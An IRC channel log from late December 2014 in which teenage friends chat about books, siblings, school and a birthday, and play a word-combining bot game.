[2014-12-31T00:43:50-0500] <nezorg> ...ooh, I can probably still read my emails
[2014-12-31T00:43:50-0500] <nezorg> huh
[2014-12-31T00:43:56-0500] <ubuntor> :/
[2014-12-31T00:44:10-0500] <+Tamini> nezorg: much embarrassing
[2014-12-31T00:44:11-0500] <+Tamini> and uh
[2014-12-31T00:44:13-0500] <+JacobEdelman> what, there was an embarrising past party?
[2014-12-31T00:44:16-0500] <+Tamini> pgp encrypted love letters! <3
[2014-12-31T00:44:28-0500] <+Tamini> JacobEdelman: alokpathy, awe, and I all write essays to solve our problems in life.
[2014-12-31T00:44:31-0500] <nezorg> my love was not that nerdy
[2014-12-31T00:44:32-0500] <nezorg> actually
[2014-12-31T00:44:34-0500] <nezorg> that reminds me
[2014-12-31T00:44:40-0500] <+JacobEdelman> once, I well... embarssing past = things I do every day
[2014-12-31T00:44:44-0500] <+Tamini> LOL
[2014-12-31T00:44:46-0500] <nezorg> she was actually scared at what all that random text at the bottom was XD
[2014-12-31T00:44:50-0500] <+Tamini> aren't you in like a healthy relationship
[2014-12-31T00:44:52-0500] <@awe> alokpathy: if you want good sci-fi, read Dune.
[2014-12-31T00:44:52-0500] <+Tamini> and LOL SERIOUSLY
[2014-12-31T00:44:57-0500] <+JacobEdelman> Dune is goo
[2014-12-31T00:44:59-0500] <+JacobEdelman> *good
[2014-12-31T00:45:00-0500] <+Tamini> oh my
[2014-12-31T00:45:00-0500] <+JacobEdelman> also
[2014-12-31T00:45:02-0500] <+Tamini> dune is amae
[2014-12-31T00:45:03-0500] <+Tamini> amaze*
[2014-12-31T00:45:08-0500] <alokpathy> Hmm, alright
[2014-12-31T00:45:10-0500] <+JacobEdelman> foundation series
[2014-12-31T00:45:18-0500] <+JacobEdelman> foundation is good
[2014-12-31T00:45:23-0500] <+JacobEdelman> anything by asimov
[2014-12-31T00:45:28-0500] <+JacobEdelman> for fantasy read mistborn
[2014-12-31T00:45:28-0500] <ubuntor> yes
[2014-12-31T00:45:32-0500] <+Tamini> I like the short stories better than anything else tho
[2014-12-31T00:45:33-0500] <+Tamini> hm
[2014-12-31T00:45:33-0500] <+JacobEdelman> mistborn is good
[2014-12-31T00:45:40-0500] <+Tamini> fantasy I feel like
[2014-12-31T00:45:43-0500] <+Tamini> mistborn is more niche
[2014-12-31T00:45:47-0500] <+JacobEdelman> no!
[2014-12-31T00:45:58-0500] <+JacobEdelman> my entire family listened to mistborn in a car ride
[2014-12-31T00:46:07-0500] <+JacobEdelman> not all of them were big fantasy people
[2014-12-31T00:46:07-0500] <+Tamini> some people dont do the entire epic style
[2014-12-31T00:46:10-0500] <+JacobEdelman> all 6 of us liked it
[2014-12-31T00:46:19-0500] <+JacobEdelman> including my little sister
[2014-12-31T00:46:24-0500] <@awe> Well, duh.
[2014-12-31T00:46:26-0500] <@awe> You're clones.
[2014-12-31T00:46:26-0500] <+JacobEdelman> and shes 10
[2014-12-31T00:46:28-0500] <+JacobEdelman> :)
[2014-12-31T00:46:29-0500] <@awe> You're all the same entities.
[2014-12-31T00:46:32-0500] <+JacobEdelman> true
[2014-12-31T00:46:39-0500] <+JacobEdelman> awe has an edelman cloning theory
[2014-12-31T00:46:43-0500] <+JacobEdelman> you should ask him Tamini
[2014-12-31T00:46:46-0500] <+JacobEdelman> gnight now
[2014-12-31T00:46:51-0500] <+JacobEdelman> ben is poking me to sleep
[2014-12-31T00:46:57-0500] <alokpathy> Hi Ben!
[2014-12-31T00:47:03-0500] <+Tamini> hiiii ben
[2014-12-31T00:47:06-0500] <+JacobEdelman> snce were staying over at my cousins and were in the same room I'm keeping him up
[2014-12-31T00:47:10-0500] <+Tamini> and lol i mean
[2014-12-31T00:47:12-0500] <+JacobEdelman> I'll tell him you guys said hi
[2014-12-31T00:47:15-0500] <+Tamini> i buy the edelman clone theory
[2014-12-31T00:47:20-0500] <+Tamini> all you kids look the same
[2014-12-31T00:47:29-0500] <+Tamini> and sammy looks nothing like berger ._.
[2014-12-31T00:47:29-0500] <+JacobEdelman> well, gnight
[2014-12-31T00:47:31-0500] <+Tamini> niiiiight
[2014-12-31T00:47:39-0500] <alokpathy> G'night
[2014-12-31T00:47:55-0500] <@awe> Tamini: basically, his parents invented the Edelman Genome.
[2014-12-31T00:48:07-0500] <@awe> Tamini: they perfected it and created Ben.
[2014-12-31T00:48:22-0500] <+Tamini> awe: then why is JacobEdelman not perfect? :P
[2014-12-31T00:48:22-0500] <@awe> Tamini: but it was too scary and too perfect, so they added some flaws and made Jacob.
[2014-12-31T00:48:28-0500] <+Tamini> ah, kay
[2014-12-31T00:48:37-0500] <@awe> Jacob was a little too much flaw.
[2014-12-31T00:48:42-0500] <@awe> So, they took some of them out, and made Ezra.
[2014-12-31T00:48:49-0500] <@awe> It was still scary though.
[2014-12-31T00:48:55-0500] <@awe> Still too much flaw.
[2014-12-31T00:48:57-0500] <@awe> So, they made a girl.
[2014-12-31T00:49:07-0500] <@awe> And then everyone was happy about it.
[2014-12-31T00:49:19-0500] <+Tamini> heh
[2014-12-31T00:49:24-0500] <+Tamini> girls make everything better
[2014-12-31T00:49:24-0500] <+hardmath123> wait what jacob has a sister
[2014-12-31T00:49:27-0500] <@awe> Yeah.
[2014-12-31T00:49:31-0500] <@awe> His little sister is awesome.
[2014-12-31T00:49:33-0500] <alokpathy> lol I find it funny how Jacob's sister and my brother were in the same 1st grade class.
[2014-12-31T00:49:36-0500] <@awe> She's a cool dude.
[2014-12-31T00:49:56-0500] <alokpathy> awe: Ernest's brother is in their grade too
[2014-12-31T00:50:02-0500] <@awe> alokpathy: Ernest's brother is the cutest.
[2014-12-31T00:50:03-0500] <alokpathy> awe: and Berger's is only a grade ahead of them.
[2014-12-31T00:50:12-0500] <alokpathy> Eric c:
[2014-12-31T00:50:28-0500] <+hardmath123> i'm not sure i know what grade my sis is in
[2014-12-31T00:50:33-0500] <+Tamini> alokpathy has a brother?
[2014-12-31T00:50:34-0500] <+Tamini> whoaa
[2014-12-31T00:50:36-0500] <nezorg> <Tamini> worst they can say is say no
[2014-12-31T00:50:36-0500] <nezorg> <Tamini> or like
[2014-12-31T00:50:36-0500] <nezorg> <Tamini> worse but
[2014-12-31T00:50:37-0500] <nezorg> lol
[2014-12-31T00:50:40-0500] <@awe> hardmath123: My sister isn't in school.
[2014-12-31T00:50:51-0500] <+Tamini> nezorg: i was being a realist then I realized that wasnt very motivational
[2014-12-31T00:50:52-0500] <+hardmath123> why does everyone have sisters
[2014-12-31T00:50:55-0500] <alokpathy> Tamini: Yeah, mini
[2014-12-31T00:50:58-0500] <alokpathy> hardmath123: I don't :D
[2014-12-31T00:51:00-0500] <@awe> hardmath123: because 50% of the population is female
[2014-12-31T00:51:01-0500] <+Tamini> alokpathy: does he look like you?
[2014-12-31T00:51:03-0500] <+Tamini> minialok
[2014-12-31T00:51:05-0500] <+Tamini> what's his name
[2014-12-31T00:51:06-0500] <+hardmath123> awe: true dat
[2014-12-31T00:51:11-0500] <@awe> hardmath123: and the average number of children in each family is 2.
[2014-12-31T00:51:12-0500] <alokpathy> Tamini: Idk.
[2014-12-31T00:51:14-0500] <nezorg> I have a mini brother that looks like me too!
[2014-12-31T00:51:24-0500] <@awe> nezorg: So, twice the little blonde cuteness.
[2014-12-31T00:51:31-0500] <nezorg> p much
[2014-12-31T00:51:35-0500] <@awe> I dig it.
[2014-12-31T00:53:50-0500] <+Tamini> alokpathy: you dont know your brother's name...?
[2014-12-31T00:53:58-0500] <+Tamini> omg
[2014-12-31T00:54:03-0500] <+Tamini> i wanna see twice the little blonde cuteness
[2014-12-31T00:54:11-0500] <+Tamini> you can get more of that than nezorg?
[2014-12-31T00:54:34-0500] <alokpathy> Tamini: Oh that was for "does he look like you?"
[2014-12-31T00:54:37-0500] <alokpathy> Tamini: Of course I know his name
[2014-12-31T00:54:48-0500] <+Tamini> LOL ok
[2014-12-31T00:54:50-0500] <+Tamini> what is it? O_O
[2014-12-31T00:54:55-0500] <alokpathy> Tamini: Anshul
[2014-12-31T00:55:27-0500] <alokpathy> Tamini: My suggestion was Pingu.
[2014-12-31T00:55:33-0500] <@awe> Oh god. Pingu.
[2014-12-31T00:55:35-0500] Tamini_ (uid33458@pdgn-vvu.9lf.7cuf9e.IP) joined the channel
[2014-12-31T00:55:35-0500] <alokpathy> but my parents didn't want to name him that.
[2014-12-31T00:56:26-0500] <+hardmath123> Somehow, I never liked that show.
[2014-12-31T00:56:27-0500] <@awe> nezorg: I just saw a selfie of you and d'awww'd.
[2014-12-31T00:56:34-0500] <+Tamini> alokpathy: lol, pingu
[2014-12-31T00:56:49-0500] <alokpathy> hardmath123: I rarely even watched it.
[2014-12-31T00:56:53-0500] <alokpathy> I just thought the name was cool.
[2014-12-31T00:56:54-0500] <nezorg> awe: ...?
[2014-12-31T00:56:58-0500] <@awe> Uhh.
[2014-12-31T00:56:59-0500] <@awe> Nevermind.
[2014-12-31T00:57:00-0500] <nezorg> why did you just see a selfie of me
[2014-12-31T00:57:02-0500] <+Tamini> also alokpathy: your name and your brothers just
[2014-12-31T00:57:03-0500] <@awe> Nothing.
[2014-12-31T00:57:06-0500] <+Tamini> screams indian
[2014-12-31T00:57:06-0500] <@awe> Don't worry about it.
[2014-12-31T00:57:08-0500] <alokpathy> awe: Oh can I see too?
[2014-12-31T00:57:16-0500] <alokpathy> Tamini: There's a reason behind that :P
[2014-12-31T00:57:20-0500] <+Tamini> :P
[2014-12-31T00:57:22-0500] <+Tamini> why?
[2014-12-31T00:57:22-0500] <@awe> I definitely don't have your cellphone's camera tapped, nezorg.
[2014-12-31T00:57:25-0500] <+Tamini> its not like you're indian or anything
[2014-12-31T00:57:45-0500] <alokpathy> Tamini: I'm not, but my parents like Indian names.
[2014-12-31T00:57:58-0500] <alokpathy> Tamini: I'm actually Hispanic.
[2014-12-31T00:58:07-0500] <+Tamini> whoa, yeah
[2014-12-31T00:58:09-0500] <+Tamini> i totally buy that
[2014-12-31T00:58:10-0500] <@awe> Me too, but nobody believes me.
[2014-12-31T00:58:12-0500] <+Tamini> you look really like cuban
[2014-12-31T00:58:12-0500] <@awe> :c
[2014-12-31T00:58:17-0500] <@awe> OH
[2014-12-31T00:58:19-0500] <@awe> Wait.
[2014-12-31T00:58:22-0500] <@awe> I think I already told you guys.
[2014-12-31T00:58:37-0500] <@awe> I found out that my Spanish ancestry is Basque. 
[2014-12-31T00:58:41-0500] <+Tamini> awe: during hsctf yeah lol
[2014-12-31T00:58:44-0500] <alokpathy> You did :P
[2014-12-31T00:58:48-0500] <@awe> No, I meant that part.
[2014-12-31T00:59:05-0500] <@awe> I know I told you guys I'm Cuban.
[2014-12-31T00:59:18-0500] <alokpathy> You told us a few days ago.
[2014-12-31T00:59:52-0500] <@awe> I know.
[2014-12-31T00:59:55-0500] <@awe> I think I only told you though.
[2014-12-31T01:02:39-0500] <alokpathy> It was in this channel I'm prety sure.
[2014-12-31T01:02:53-0500] <+Tamini> hmm
[2014-12-31T01:02:56-0500] <+Tamini> i dont remember this
[2014-12-31T01:03:55-0500] <@awe> It was.
[2014-12-31T01:05:33-0500] <+Tamini> wait guys
[2014-12-31T01:05:36-0500] <+Tamini> who has snapchats?
[2014-12-31T01:05:39-0500] <@awe> I do.
[2014-12-31T01:05:41-0500] <+Tamini> alokpathy is considering getting one
[2014-12-31T01:05:47-0500] <+Tamini> awe: you never added me.
[2014-12-31T01:05:49-0500] <@awe> i do not use it at all.
[2014-12-31T01:05:53-0500] <@awe> aaronweiss74 is my snapchat name
[2014-12-31T01:06:03-0500] <+Tamini> oh, then meh :P
[2014-12-31T01:06:42-0500] <@awe> I mean, I use it occasionally.
[2014-12-31T01:06:49-0500] <@awe> Mostly I just reply to snapchats I get.
[2014-12-31T01:07:09-0500] <+Tamini> heh
[2014-12-31T01:07:12-0500] <+Tamini> anyone else?
[2014-12-31T01:07:22-0500] <nezorg> awe: ...seriously, why did you just see a selfie of me?
[2014-12-31T01:07:38-0500] <@awe> nezorg: nothing, don't worry about it.
[2014-12-31T01:07:42-0500] <@awe> nezorg: just run better infosec,
[2014-12-31T01:07:45-0500] <@awe> nezorg: that's my advice.
[2014-12-31T01:09:47-0500] <nezorg> ...
[2014-12-31T01:10:12-0500] <+Tamini> awe dont scare the child
[2014-12-31T01:11:49-0500] <@awe> nezorg: ;)
[2014-12-31T01:11:59-0500] <+Tamini> awe you're not helping
[2014-12-31T01:19:44-0500] <@awe> The world asked “am I in love” 3x more than “am I alone.”
[2014-12-31T01:20:10-0500] <+Tamini> well
[2014-12-31T01:20:14-0500] <+Tamini> if you were alone you'd know
[2014-12-31T01:20:19-0500] <+Tamini> if you were in love you might need some confirmation
[2014-12-31T01:28:10-0500] <alokpathy> G'night peeps
[2014-12-31T01:28:32-0500] <+hardmath123> Bye alokpathy 
[2014-12-31T01:28:38-0500] <@awe> Good night, alokpathy.
[2014-12-31T01:29:32-0500] <+Tamini> night apothy 
[2014-12-31T01:29:33-0500] <+Tamini> <3
[2014-12-31T01:29:36-0500] <+Tamini> hmm
[2014-12-31T01:29:40-0500] <+Tamini> who else is east coast?
[2014-12-31T01:29:42-0500] <@awe> Mee.
[2014-12-31T01:29:57-0500] <jwoglom> east coast is best coast
[2014-12-31T01:30:08-0500] <@awe> jwoglom: beast*
[2014-12-31T01:30:15-0500] <@awe> east coast beast coast.
[2014-12-31T01:30:43-0500] <+hardmath123> west coast best coast (obligatory))
[2014-12-31T01:30:47-0500] <+Tamini> wow 
[2014-12-31T01:30:49-0500] <+Tamini> hardmath123
[2014-12-31T01:30:57-0500] <+Tamini> i didnt know you were so wrong
[2014-12-31T01:32:00-0500] <+hardmath123> :(
[2014-12-31T01:32:17-0500] <+Tamini> <3
[2014-12-31T01:32:23-0500] <+hardmath123> <3
[2014-12-31T01:32:29-0500] <@awe> He did say it was obligatory.
[2014-12-31T01:32:33-0500] <+Tamini> :P
[2014-12-31T01:32:35-0500] <@awe> jwoglom: I looked you up on Facebook by the way.
[2014-12-31T01:32:38-0500] <+hardmath123> As a kid who's lived on both coasts and the midwest
[2014-12-31T01:32:40-0500] <+Tamini> well
[2014-12-31T01:32:43-0500] <+hardmath123> i feel compelled to say
[2014-12-31T01:32:44-0500] <@awe> hardmath123: ew, midwest.
[2014-12-31T01:32:47-0500] <+Tamini> we'll make you love east coast at hmmt
[2014-12-31T01:32:53-0500] <jwoglom> awe: cool
[2014-12-31T01:32:53-0500] <+Tamini> do you guys end up with free time?
[2014-12-31T01:32:54-0500] <+hardmath123> i was happiest in New York
[2014-12-31T01:32:58-0500] <jwoglom> i don't really know you besides the nickname :P
[2014-12-31T01:32:59-0500] <@awe> New York is the best.
[2014-12-31T01:33:01-0500] <+Tamini> yes, ny is great
[2014-12-31T01:33:07-0500] <+Tamini> a(aron)we(iss)
[2014-12-31T01:33:07-0500] <+Tamini> :P
[2014-12-31T01:33:08-0500] <@awe> jwoglom: you know my full name, don't you?
[2014-12-31T01:33:16-0500] <jwoglom> awe: aaron weiss, right?
[2014-12-31T01:33:16-0500] <+hardmath123> ny is the kind of city that makes people like me describe it as "romantic".
[2014-12-31T01:33:19-0500] <@awe> Yeah.
[2014-12-31T01:33:39-0500] <+Tamini> it's amazing
[2014-12-31T01:33:46-0500] <+Tamini> hardmath123: can i look you up on facebook
[2014-12-31T01:33:56-0500] <+hardmath123> Tamini: no, because I'm not on Facebook.
[2014-12-31T01:34:00-0500] <+Tamini> your name is too generic for me to google stalk
[2014-12-31T01:34:02-0500] <+hardmath123> Tamini: I'm the only such person I know.
[2014-12-31T01:34:04-0500] <@awe> Maybe some day I can be a professor at Columbia or something.
[2014-12-31T01:34:09-0500] <jwoglom> awe: that's some fancy car you've got there
[2014-12-31T01:34:15-0500] <@awe> jwoglom: thanks
[2014-12-31T01:34:16-0500] <+Tamini> hardmath123: you and john :P
[2014-12-31T01:34:23-0500] <+hardmath123> Who's John?
[2014-12-31T01:34:25-0500] <+Tamini> nezorg
[2014-12-31T01:34:30-0500] <+Tamini> i didnt want to ping him bc late but
[2014-12-31T01:34:33-0500] <+Tamini> he's west coast, screw that
[2014-12-31T01:34:36-0500] <@awe> >late
[2014-12-31T01:34:37-0500] <+hardmath123> xD
[2014-12-31T01:34:50-0500] <@awe> It's 10:30.
[2014-12-31T01:34:54-0500] <+hardmath123> I'm also allergic to phones. I can barely make a phone call from mine.
[2014-12-31T01:35:20-0500] <+hardmath123> Literally, the last activity on it was 3 months ago, when I asked my mom to pick me up from school because rain.
[2014-12-31T01:35:37-0500] <+Tamini> hardmath123: stalking your G+
[2014-12-31T01:35:43-0500] <+Tamini> are you the rose or the little prince?
[2014-12-31T01:38:24-0500] <+hardmath123> none of the above
[2014-12-31T01:38:43-0500] <+hardmath123> https://plus.google.com/114749389725718878226/posts
[2014-12-31T01:38:49-0500] <+hardmath123> though
[2014-12-31T01:39:07-0500] <+hardmath123> i was contemplating changing my pic to le petit prince asteroid sometime
[2014-12-31T01:39:58-0500] <+Tamini> well
[2014-12-31T01:40:03-0500] <+Tamini> asteroid b-612
[2014-12-31T01:40:26-0500] <+hardmath123> yeah i was hoping someone would get that :)
[2014-12-31T01:40:49-0500] <+hardmath123> y'know, the only reason i'm taking french is so i can read that book in the original french?
[2014-12-31T01:41:36-0500] <+Tamini> really?
[2014-12-31T01:41:44-0500] <+hardmath123> yes, really.
[2014-12-31T01:41:45-0500] <+Tamini> I think our school reads that in french 3
[2014-12-31T01:41:50-0500] <+hardmath123> so does ours
[2014-12-31T01:41:51-0500] <+Tamini> It's beautiful.
[2014-12-31T01:41:58-0500] <+hardmath123> which is why this is my last year of french.
[2014-12-31T01:41:59-0500] <+hardmath123> also
[2014-12-31T01:42:04-0500] <@awe> hardmath123: lol, wow.
[2014-12-31T01:42:05-0500] <+Tamini> heh
[2014-12-31T01:42:06-0500] <+hardmath123> everyone else in my house is asleep
[2014-12-31T01:42:08-0500] <+Tamini> french sounds really nice
[2014-12-31T01:42:13-0500] <+Tamini> lol, at 10pm?
[2014-12-31T01:42:13-0500] <@awe> French is nice.
[2014-12-31T01:42:18-0500] <+hardmath123> so au revoir et bonne nuit <3
[2014-12-31T01:42:41-0500] <+Tamini> good night, hardmath123
[2014-12-31T01:42:49-0500] <+Tamini> sweet dreams :)
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[2014-12-31T01:42:19-0500] <+hardmath123> so au revoir et bonne nuit <3
[2014-12-31T01:42:41-0500] <+Tamini> good night, hardmath123
[2014-12-31T01:42:49-0500] <+Tamini> sweet dreams :)
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[2014-12-31T01:42:14-0500] <@awe> French is nice.
[2014-12-31T01:42:19-0500] <+hardmath123> so au revoir et bonne nuit <3
[2014-12-31T01:42:41-0500] <+Tamini> good night, hardmath123
[2014-12-31T01:42:49-0500] <+Tamini> sweet dreams :)
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[2014-12-31T01:42:14-0500] <@awe> French is nice.
[2014-12-31T01:42:19-0500] <+hardmath123> so au revoir et bonne nuit <3
[2014-12-31T01:42:41-0500] <+Tamini> good night, hardmath123
[2014-12-31T01:42:49-0500] <+Tamini> sweet dreams :)
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[2014-12-31T10:08:52-0500] <alokpathy> Tamini: It's mserrano's birthday woo
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[2014-12-31T10:15:59-0500] <+JacobEdelman> gmorning
[2014-12-31T10:17:01-0500] <alokpathy> Salutations.
[2014-12-31T10:17:31-0500] <alokpathy> Darn I should get started on my homework.
[2014-12-31T10:19:32-0500] <+JacobEdelman> nah
[2014-12-31T10:19:35-0500] <+JacobEdelman> hw is over rated
[2014-12-31T10:19:40-0500] <+JacobEdelman> now shush
[2014-12-31T10:19:48-0500] <+JacobEdelman> I'm busy pretneding school doesn't exist
[2014-12-31T10:19:53-0500] <+JacobEdelman> :P
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[2014-12-31T10:31:22-0500] <alokpathy> work
[2014-12-31T10:31:24-0500] <alokpathy> I don't want to do it
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[2014-12-31T01:42:14-0500] <@awe> French is nice.
[2014-12-31T01:42:19-0500] <+hardmath123> so au revoir et bonne nuit <3
[2014-12-31T01:42:41-0500] <+Tamini> good night, hardmath123
[2014-12-31T01:42:49-0500] <+Tamini> sweet dreams :)
[2014-12-31T10:08:52-0500] <alokpathy> Tamini: It's mserrano's birthday woo
[2014-12-31T10:15:59-0500] <+JacobEdelman> gmorning
[2014-12-31T10:17:01-0500] <alokpathy> Salutations.
[2014-12-31T10:17:31-0500] <alokpathy> Darn I should get started on my homework.
[2014-12-31T10:19:33-0500] <+JacobEdelman> nah
[2014-12-31T10:19:36-0500] <+JacobEdelman> hw is over rated
[2014-12-31T10:19:40-0500] <+JacobEdelman> now shush
[2014-12-31T10:19:48-0500] <+JacobEdelman> I'm busy pretneding school doesn't exist
[2014-12-31T10:19:53-0500] <+JacobEdelman> :P
[2014-12-31T10:31:21-0500] <alokpathy> Ugh
[2014-12-31T10:31:22-0500] <alokpathy> work
[2014-12-31T10:31:25-0500] <alokpathy> I don't want to do it
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[2014-12-31T12:22:20-0500] <alokpathy> awe: You don't get work overr break, right?
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[2014-12-31T12:27:11-0500] <@awe> alokpathy: school work? no.
[2014-12-31T12:27:24-0500] <@awe> alokpathy: well, I have a little.
[2014-12-31T12:27:36-0500] <@awe> alokpathy: I've got to read a couple things for one class.
[2014-12-31T12:28:07-0500] <Tamini_> oh god
[2014-12-31T12:28:16-0500] <Tamini_> i need to do schoolwork >.<
[2014-12-31T12:28:41-0500] <alokpathy> awe: Oh, like, "summer" work, sorta?
[2014-12-31T12:28:45-0500] <alokpathy> work you do before a class begins?
[2014-12-31T12:28:53-0500] <@awe> Yeah.
[2014-12-31T12:28:54-0500] <alokpathy> Tamini_: Yeah .-.
[2014-12-31T12:28:57-0500] <@awe> The class is very special-case.
[2014-12-31T12:29:06-0500] <@awe> That's the only reason I have the reading material.
[2014-12-31T12:29:12-0500] <Tamini_> ah
[2014-12-31T12:29:12-0500] <@awe> It's three hours every Thursday.
[2014-12-31T12:29:18-0500] <alokpathy> I want a break where I don't have to do any schoolwork :(
[2014-12-31T12:29:24-0500] <Tamini_> alokpathy: we need to study sometime
[2014-12-31T12:29:25-0500] <@awe> And I have a spring break portion of it.
[2014-12-31T12:29:26-0500] <Tamini_> and ^^
[2014-12-31T12:29:37-0500] <alokpathy> Tamini_: I just did some Lang work
[2014-12-31T12:29:44-0500] <alokpathy> Tamini_: I have to study for midterms
[2014-12-31T12:29:45-0500] <@awe> I haven't done any schoolwork thus far because reading two essays takes no time.
[2014-12-31T12:30:01-0500] <alokpathy> awe: .-.-.-.-.
[2014-12-31T12:30:02-0500] <Tamini_> lol study with me! :P
[2014-12-31T12:30:06-0500] <Tamini_> i do too tbh
[2014-12-31T12:30:12-0500] <alokpathy> Tamini_: Alright leggo
[2014-12-31T12:37:35-0500] <Tamini_> yee
[2014-12-31T12:37:43-0500] <Tamini_> not tonight tho
[2014-12-31T12:38:01-0500] <alokpathy> Wow okay lOL
[2014-12-31T12:38:02-0500] <Tamini_> damn its new year's eve this calls for like champagne and stuff
[2014-12-31T12:38:09-0500] <alokpathy> Oh yeah
[2014-12-31T12:38:19-0500] <alokpathy> it's the last day of 2014
[2014-12-31T12:38:29-0500] <Tamini_> heh
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[2014-12-31T12:38:55-0500] <alokpathy> Aw
[2014-12-31T12:38:57-0500] <alokpathy> bye jwoglom
[2014-12-31T12:39:19-0500] <alokpathy> @list
[2014-12-31T12:39:20-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, earth, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava, fire
[2014-12-31T12:39:20-0500] <alchemy> You have: aaron, ent, sword, penguin, puddle, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf, light, tree, robot
[2014-12-31T12:39:20-0500] <alchemy> You have: air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-31T12:39:20-0500] <alchemy> That's 49 out of 103!
[2014-12-31T12:39:39-0500] <alokpathy> @combine sword lightning
[2014-12-31T12:39:40-0500] <alchemy> sword and lightning don't make anything exciting.
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[2014-12-31T12:39:49-0500] <alokpathy> @combine water wind
[2014-12-31T12:39:50-0500] <alchemy> You already combined water and wind to get ice.
[2014-12-31T12:40:00-0500] <alokpathy> @combine ice metal
[2014-12-31T12:40:01-0500] <alchemy> ice and metal don't make anything exciting.
[2014-12-31T12:40:14-0500] <alokpathy> @combine lava aaron
[2014-12-31T12:40:14-0500] <alokpathy> heh
[2014-12-31T12:40:15-0500] <alchemy> lava and aaron don't make anything exciting.
[2014-12-31T12:40:17-0500] <alokpathy> aw
[2014-12-31T12:40:27-0500] <alokpathy> @combine tree wind
[2014-12-31T12:40:28-0500] <alchemy> tree and wind don't make anything exciting.
[2014-12-31T12:40:37-0500] <alokpathy> @combine sculpture wind
[2014-12-31T12:40:38-0500] <alchemy> sculpture and wind don't make anything exciting.
[2014-12-31T12:40:40-0500] <alokpathy> @combine sculpture water
[2014-12-31T12:40:41-0500] <alchemy> sculpture and water don't make anything exciting.
[2014-12-31T12:40:56-0500] <alokpathy> @combine thunder ocean
[2014-12-31T12:40:57-0500] <alchemy> thunder and ocean don't make anything exciting.
[2014-12-31T12:41:07-0500] <alokpathy> @combine metal evil
[2014-12-31T12:41:08-0500] <alchemy> metal and evil don't make anything exciting.
[2014-12-31T12:41:15-0500] <alokpathy> @Combine sword chivalry
[2014-12-31T12:41:19-0500] <alokpathy> @combine sword chivalry
[2014-12-31T12:41:20-0500] <alchemy> sword and chivalry don't make anything exciting.
[2014-12-31T12:41:28-0500] <alokpathy> @combine chivalry aaron
[2014-12-31T12:41:29-0500] <alchemy> chivalry and aaron don't make anything exciting.
[2014-12-31T12:41:32-0500] <alokpathy> @combine chivalry knight
[2014-12-31T12:41:33-0500] <alchemy> chivalry and knight don't make anything exciting.
[2014-12-31T12:41:35-0500] <alokpathy> @combine chivalry penguin
[2014-12-31T12:41:36-0500] <alchemy> chivalry and penguin don't make anything exciting.
[2014-12-31T12:41:39-0500] <alokpathy> @combine chivalry evil
[2014-12-31T12:41:39-0500] <alchemy> chivalry and evil don't make anything exciting.
[2014-12-31T12:41:43-0500] <alokpathy> @combine chivalry olaf
[2014-12-31T12:41:44-0500] <alchemy> chivalry and olaf don't make anything exciting.
[2014-12-31T12:41:50-0500] <alokpathy> @combine chivalry snowman
[2014-12-31T12:41:51-0500] <alchemy> chivalry and snowman don't make anything exciting.
[2014-12-31T12:41:57-0500] <alokpathy> @list
[2014-12-31T12:41:58-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, earth, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava, fire
[2014-12-31T12:41:58-0500] <alchemy> You have: aaron, ent, sword, penguin, puddle, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf, light, tree, robot
[2014-12-31T12:41:58-0500] <alchemy> You have: air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-31T12:41:58-0500] <alchemy> That's 49 out of 103!
[2014-12-31T12:42:05-0500] <alokpathy> @combine chivalry villain
[2014-12-31T12:42:06-0500] <alchemy> chivalry and villain don't make anything exciting.
[2014-12-31T12:42:07-0500] <Tamini_> also waait
[2014-12-31T12:42:10-0500] <alokpathy> ?
[2014-12-31T12:42:13-0500] <Tamini_> its mserrano's bday :O
[2014-12-31T12:42:16-0500] <alokpathy> Mhm
[2014-12-31T12:42:24-0500] <alokpathy> I wished him a happy bday on FB
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[2014-12-31T12:42:32-0500] <Tamini_> idk if i should im too awko
[2014-12-31T12:42:42-0500] <alokpathy> No harm I don't thin
[2014-12-31T12:42:42-0500] <alokpathy> k
[2014-12-31T12:42:47-0500] <alokpathy> @combine tool computer
[2014-12-31T12:42:48-0500] <alchemy> tool and computer don't make anything exciting.
[2014-12-31T12:42:58-0500] <alokpathy> @combine fire neanderthal
[2014-12-31T12:42:59-0500] <alchemy> fire and neanderthal don't make anything exciting.
[2014-12-31T12:43:04-0500] <alokpathy> @combine lightning neanderthal
[2014-12-31T12:43:05-0500] <alchemy> lightning and neanderthal don't make anything exciting.
[2014-12-31T12:43:09-0500] <Tamini_> @hint
[2014-12-31T12:43:10-0500] <alchemy> Not this time!
[2014-12-31T12:43:14-0500] <Tamini_> @hint
[2014-12-31T12:43:14-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T12:43:15-0500] <alokpathy> @combine ocean cloud
[2014-12-31T12:43:15-0500] <alchemy> ocean and cloud don't make anything exciting.
[2014-12-31T12:43:18-0500] <Tamini_> @hint
[2014-12-31T12:43:18-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T12:43:22-0500] <Tamini_> @combine ocean fire
[2014-12-31T12:43:23-0500] <alchemy> ocean and fire don't make anything exciting.
[2014-12-31T12:43:24-0500] <alokpathy> @combine ocean thunder
[2014-12-31T12:43:25-0500] <alchemy> ocean and thunder don't make anything exciting.
[2014-12-31T12:43:26-0500] <Tamini_> @hint
[2014-12-31T12:43:27-0500] <alchemy> No can do, buddy.
[2014-12-31T12:43:29-0500] <alokpathy> I feel like storm should be a thing
[2014-12-31T12:43:31-0500] <Tamini_> @hint
[2014-12-31T12:43:31-0500] <alchemy> Hint: It's possible to make plant!
[2014-12-31T12:43:34-0500] <alokpathy> wow
[2014-12-31T12:43:34-0500] <alokpathy> wow
[2014-12-31T12:43:40-0500] <Tamini_> hardmath123: pls
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[2014-12-31T12:43:45-0500] <alokpathy> @combine wind thunder
[2014-12-31T12:43:45-0500] <Tamini_> @list
[2014-12-31T12:43:46-0500] <alchemy> wind and thunder don't make anything exciting.
[2014-12-31T12:43:47-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, earth, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava, fire
